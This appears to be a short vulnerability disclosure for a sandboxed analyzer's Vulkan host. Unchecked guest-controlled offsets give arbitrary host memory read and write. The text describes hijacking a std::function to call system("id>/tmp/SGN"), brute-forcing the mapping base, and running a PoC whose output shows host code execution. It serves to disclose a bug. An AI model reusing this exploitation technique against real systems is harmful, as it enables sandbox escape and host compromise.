TLDR: arbitrary r/w in vulkan host can lead to sandbox escape, tested on commit 8e6e74adccb7bcd125bd8f351cb841ee12c3bcb7
vulkan_host::upload_memory / download_memory forward the offset (guest controlled)
straight to vkMapMemory(offset, size) and never validate it against the allocation size
// not verbatim ofc i copied the relevant lines out
// allocate_memory(): the guest chooses the size
memories.emplace(id, memory_data{ .handle = memory, .allocation_size = size /* e.g. 64 */ });
// but upload_memory()/download_memory() never validate allocation_size:
const size_t copy_bytes = std::min(static_cast<size_t>(size), data_size);
dev->second.map_memory(dev->second.handle, mem->second.handle, offset, size, 0, &mapped); // mapped = base + offset
std::memcpy(mapped, data, copy_bytes); // copies past the end of the allocationAllocating that memory makes the analyzer map it into its own address space at some host
address, I call it base. Every transfer then reads/writes at base + offset, and we fully
control offset. So to hit any address target we want, we just send offset = target - base (wraps ofc).
Disclaimer: I poked at this for lunch with limited time so I disabled ASLR lol
callbacks.on_stdout is a libstdc++ std::function the analyzer calls on every guest
stdout write. Calling it runs _M_invoker(&_M_functor, ...). The exploit uses the write primitive to set:
_M_functor(offset 0, the 16-byte inline storage) <- the command string"id>/tmp/SGN",_M_invoker(offset 24) <-&system,
then printf's "PEWPEWPEW". Since rdi is &_M_functor, the analyzer runs
system("id>/tmp/SGN") on the host. The command lives inline in that 16-byte functor, so it
has to be <= 15 chars + NULL.
on_stdout, system and &handle_stdout are all at fixed addresses (ASLR off), so those
are just hardcoded. base is the one value that changes each run, so the guest bruteforces
it: pick a candidate base, then use the read primitive to read what should be sitting at
on_stdout. Its functor holds &handle_stdout, so the guess that makes that read come back as &handle_stdout is the real base.
I tested this on Fedora with the propriatary Nvidia drivers installed, I suppose depending on OS, drivers and whether validation layers are activated or not the PoC could change but idk have not looked at it in depth.
x86_64-w64-mingw32-gcc -O2 -Wall exploit.c -o /path/to/emu-root/root/filesys/c/exploit.exe
rm -f /tmp/SGN
setarch "$(uname -m)" -R ./build/release/artifacts/analyzer -e emu-root/root -s c:/exploit.exe
cat /tmp/SGN
# uid=1000(layle) gid=1000(layle) groups=1000(layle),10(wheel),963(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023